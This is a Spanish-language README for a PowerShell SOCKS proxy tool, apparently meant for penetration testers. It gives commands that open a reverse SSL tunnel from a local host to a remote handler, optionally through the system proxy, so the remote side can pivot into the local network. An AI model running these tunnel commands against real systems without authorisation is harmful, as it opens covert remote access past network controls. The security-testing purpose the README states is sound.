
Proxy SOCKS y servidor reverse SOCKS usando PowerShell.
Crea un proxy Socks local o 'inverso' utilizando powershell.
El proxy local es un simple proxy Socks 4/5.
El proxy inverso crea un túnel TCP iniciando conexiones SSL salientes que pueden atravesar el proxy del sistema. El túnel puede entonces usarse como un proxy socks en el host remoto para pivotar hacia la red del host local.
Crea un proxy Socks 4/5 en el puerto 1080:
Import-Module .\Invoke-SocksProxy.psm1
Invoke-SocksProxy -bindPort 1080
Aumenta el número máximo de hilos de 200 a 400
Import-Module .\Invoke-SocksProxy.psm1
Invoke-SocksProxy -threads 400
Crea un proxy Socks 4/5 'inverso' en el puerto 1080 de un host remoto:
# On the remote host:
# Generate a private key and self signed cert
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout private.key -out cert.pem
# Get the certificate fingerprint to verify it:
openssl x509 -in cert.pem -noout -sha1 -fingerprint | cut -d "=" -f 2 | tr -d ":"
# Start the handler
python3 ReverseSocksProxyHandler.py 443 1080 ./cert.pem ./private.key
# On the local host:
Import-Module .\Invoke-SocksProxy.psm1
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130
# Go through the system proxy:
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130 -useSystemProxy
# Validate certificate
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130 -certFingerprint '93061FDB30D69A435ACF96430744C5CC5473D44E'
# Give up after a number of failed connections to the handler:
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130 -maxRetries 10
Crédito para el truco del Proxy del Sistema: https://github.com/Arno0x/PowerShellScripts/blob/master/proxyTunnel.ps1
Este proyecto está destinado a investigadores de seguridad y testers de penetración y solo debe usarse con la aprobación de los propietarios del sistema.